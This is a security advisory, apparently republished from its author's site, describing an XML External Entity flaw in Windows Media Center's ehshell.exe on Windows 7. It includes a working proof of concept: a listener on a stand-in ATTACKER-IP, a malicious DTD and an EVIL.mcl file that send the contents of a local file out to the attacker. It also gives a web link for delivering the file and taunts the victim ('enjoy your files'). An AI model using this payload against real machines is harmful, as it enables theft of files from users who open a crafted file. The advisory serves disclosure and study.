Microsoft Windows Media Center ehshell.exe XML External Entity
Posted on 30 November -0001
<HTML><HEAD><TITLE>Microsoft Windows Media Center "ehshell.exe" XML External Entity</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>[+] Credits: John Page aka hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-MEDIA-CENTER-XXE-FILE-DISCLOSURE.txt [+] ISR: ApparitionSec Vendor: ================== www.microsoft.com Product: ================================== Windows Media Center "ehshell.exe" version 6.1.7600 Vulnerability Type: ==================== XML External Entity CVE Reference: ============== N/A Vulnerability Details: ===================== Windows Media Center "ehshell.exe" is vulnerable to XML External Entity attack allowing remote access to ANY files on a victims computer, if they open an XXE laden ".mcl" file via a remote share / USB or from an malicious "windowsmediacenterweb" web link. Sometimes 'Windows Media Center' will crash, sometimes opens normally and other times will not open, but the files get accessed and exfiltrated. Tested Windows 7 SP1 Exploit code(s): =============== POC exfiltrate "msdfmap.ini" used by MS ADO Remote Data Services. 1) ATTACKER-IP listener python -m SimpleHTTPServer 8080 2) Create the "FindMeThatBiotch.dtd" DTD file with below contents (host on ATTACKER-IP in directory where python server is listen) <!ENTITY % param666 "<!ENTITY % FindMeThatBiotch SYSTEM 'http://ATTACKER-IP:8080/%data666;'>"> 3) Create the "EVIL.mcl" file. <?xml version="1.0"?> <!DOCTYPE hyp3rlinx [ <!ENTITY % data666 SYSTEM "c:Windowsmsdfmap.ini"> <!ENTITY % junk SYSTEM "http://ATTACKER-IP:8080/FindMeThatBiotch.dtd"> %junk; %param666; %FindMeThatBiotch; ]> 4) Get victim to open the EVIL.mcl ... enjoy your files! OR create link on webpage to run the file, but "user has to consent first". <a href="windowsmediacenterweb://ATTACKER-IP:8080/EVIL.mcl">XXE POC</a> Disclosure Timeline: ======================================= Vendor Notification: September 1, 2016 Vendor opens Case 34970: September 6, 2016 Vendor reply "Wont Fix" : October 19, 2016 December 4, 2016 : Public Disclosure Exploitation Technique: ======================= Remote Severity Level: ================ High [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. </BODY></HTML>
